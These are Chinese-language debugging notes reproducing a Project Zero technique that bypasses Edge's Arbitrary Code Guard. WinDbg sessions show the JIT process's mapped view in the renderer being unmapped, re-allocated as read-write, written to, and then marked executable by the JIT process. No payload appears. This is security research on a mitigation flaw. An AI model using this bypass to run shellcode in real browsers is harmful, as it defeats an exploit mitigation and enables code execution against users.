ACG bypass using UnmapViewOfFile 调试笔记

作者:b2ahex

1. 背景介绍

测试 project-zero 研究员 ifratric 提出的绕过ACG缓解的方法,原文:ACG bypass using UnmapViewOfFile

Windows 加入ACG(Arbitrary Code Guard) 缓解之后把脚本引擎的JIT编译功能放到一个单独的Edge进程中,当渲染进程需要执行JIT功能时通过RPC将目标字节码发送到JIT进程,由JIT进程编译生成本地代码并将其映射回原来的请求进程中执行。

2. 利用流程

JIT进程写回本地代码之前有如下几个步骤:
a.使用 CreateFileMapping() 创建内存映像对象
b.使用 MapViewOfFile2() 将它映射到请求进程中,在请求进程中的内存标志为RESERVE,不包含可写属性
c.当JIT进程需要写入数据时调用 VirtualAllocEx() 从之前映射的内存中申请内存,即使内存已经分配也会调用成功,包含 PAGE_EXECUTE

获取可执行内存思路:
在JIT进程调用 VirtualAllocEx() 之前停止内存映射(UnmapViewOfFile),在相同位置申请虚拟内存标记可写,写入shellcode到一个合理的位置,由JIT进程调用 VirtualAllocEx() 将这段内存改回可执行标志。

3. 上调试器

调试记录如下:

附加JIT进程
0:018> bp kernelbase!virtualallocex
0:018> g
Breakpoint 0 hit
KERNELBASE!VirtualAllocEx:
00007ffc`1d25e170 4883ec38        sub     rsp,38h
0:009> k
 # Child-SP          RetAddr           Call Site
00 00000080`f01fd648 00007ffc`12583104 KERNELBASE!VirtualAllocEx
01 00000080`f01fd650 00007ffc`00422dcd EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAllocEx+0x14
02 00000080`f01fd690 00007ffc`0042203e chakra!Memory::PreReservedSectionAllocWrapper::Alloc+0xd5
03 00000080`f01fd710 00007ffc`0040564e chakra!Memory::HeapPageAllocator<Memory::PreReservedSectionAllocWrapper>::CreateSecondaryAllocator+0x5e
04 00000080`f01fd750 00007ffc`00405548 chakra!Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>::Initialize+0xe6
05 00000080`f01fd7b0 00007ffc`004224b8 chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::AllocPageSegment+0xa8
06 00000080`f01fd810 00007ffc`00421e7a chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::SnailAllocPages<1>+0xa0
07 00000080`f01fd8d0 00007ffc`00421488 chakra!Memory::CustomHeap::CodePageAllocators<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocPages+0x72
08 00000080`f01fd940 00007ffc`00421210 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocNewPage+0x68
09 00000080`f01fd9c0 00007ffc`00420e14 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::Alloc+0x9c
0a 00000080`f01fda70 00007ffc`00420cae chakra!EmitBufferManager<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper,CriticalSection>::NewAllocation+0x58
0b 00000080`f01fdb00 00007ffc`005299dc chakra!JITOutput::RecordOOPNativeCodeSize+0x8e
0c 00000080`f01fdb90 00007ffc`00575506 chakra!Encoder::Encode+0x9dc
0d 00000080`f01fdd10 00007ffc`006604e5 chakra!Func::TryCodegen+0x356
0e 00000080`f01fe5b0 00007ffc`0044c00e chakra!Func::Codegen+0xed
0f 00000080`f01fe9e0 00007ffc`0044be54 chakra!<lambda_869fb2da08ff617a0f58153cb1331989>::operator()+0x166
10 00000080`f01feb00 00007ffc`0044bde2 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x54
11 00000080`f01feb50 00007ffc`0044bd85 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x4e
12 00000080`f01febc0 00007ffc`201a6d13 chakra!ServerRemoteCodeGen+0x75
13 00000080`f01fec30 00007ffc`20209390 RPCRT4!Invoke+0x73
14 00000080`f01fec90 00007ffc`20133718 RPCRT4!Ndr64StubWorker+0xbb0
15 00000080`f01ff340 00007ffc`201573b4 RPCRT4!NdrServerCallNdr64+0x38
16 00000080`f01ff390 00007ffc`2015654e RPCRT4!DispatchToStubInCNoAvrf+0x24
17 00000080`f01ff3e0 00007ffc`20156f84 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1be
18 00000080`f01ff4b0 00007ffc`20160693 RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154
19 00000080`f01ff550 00007ffc`20161396 RPCRT4!LRPC_SCALL::DispatchRequest+0x183
1a 00000080`f01ff630 00007ffc`2015d11e RPCRT4!LRPC_SCALL::HandleRequest+0x996
1b 00000080`f01ff740 00007ffc`2015e843 RPCRT4!LRPC_ADDRESS::HandleRequest+0x34e
1c 00000080`f01ff7f0 00007ffc`2018cc58 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8a3
1d 00000080`f01ff930 00007ffc`202b65ae RPCRT4!LrpcIoComplete+0xd8
1e 00000080`f01ff9d0 00007ffc`202b4b26 ntdll!TppAlpcpExecuteCallback+0x22e
1f 00000080`f01ffa50 00007ffc`1f801fe4 ntdll!TppWorkerThread+0x886
20 00000080`f01ffde0 00007ffc`202eef91 KERNEL32!BaseThreadInitThunk+0x14
21 00000080`f01ffe10 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:009> r
rax=0000000040000010 rbx=0000020e8001e000 rcx=000000000000064c
rdx=0000020e8001e000 rsi=0000000000000001 rdi=00000216a0524ca0
rip=00007ffc1d25e170 rsp=00000080f01fd648 rbp=00000216a0524ea8
 r8=0000000000002000  r9=0000000000001000 r10=00000216a0525250
r11=1000000000000000 r12=00000216a0525128 r13=0000000000001000
r14=0000020e80000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206  

确认在 chakra!ServerRemoteCodeGen 流程中,rdx(0000020e8001e000)是申请页面的虚拟地址,再开一个windbg附加到渲染进程,查看这个地址内存信息:

0:028> !address 0000020e8001e000 
Usage:                  MappedFile
Base Address:           0000020e`80000000
End Address:            0000020e`90000000
Region Size:            00000000`10000000 ( 256.000 MB)
State:                  00002000          MEM_RESERVE
Protect:                <info not present at the target>
Type:                   00040000          MEM_MAPPED
Allocation Base:        0000020e`80000000
Allocation Protect:     00000010          PAGE_EXECUTE
Mapped file name:       PageFile  

此时状态不可写,Unmap掉这段内存,重新申请并标记PAGE_READWRITE

0:028> r rip=kernelbase!unmapviewoffile
0:028> r rcx=0000020e`80000000
0:028> p
...

0:028> !address 0000020e8001e000 
Usage:                  Free
Base Address:           0000004b`c3b50000
End Address:            0000020e`f0a50000
Region Size:            000001c3`2cf00000 (   1.762 TB)
State:                  00010000          MEM_FREE
Protect:                00000001          PAGE_NOACCESS
Type:                   <info not present at the target>

0:028> r rip=kernelbase!virtualalloc
0:028> r rcx=0000020e8001e000
0:028> r rdx=2000
0:028> r r8=3000
0:028> r r9=4
0:028> p
...
KERNELBASE!VirtualAlloc+0x5c:
00007ffc`1d24e03c c3              ret
0:028> r rax
rax=0000020e80010000
0:028> !address 0000020e8001e000 
Usage:                  <unknown>
Base Address:           0000020e`80010000
End Address:            0000020e`80020000
Region Size:            00000000`00010000 (  64.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        0000020e`80010000
Allocation Protect:     00000004          PAGE_READWRITE

向原地址写入测试数据:

回到JIT进程执行VirtualAllocEx(),再次查看原地址内存信息:

此时我们写入的数据还在,同时内存变为PAGE_EXECUTE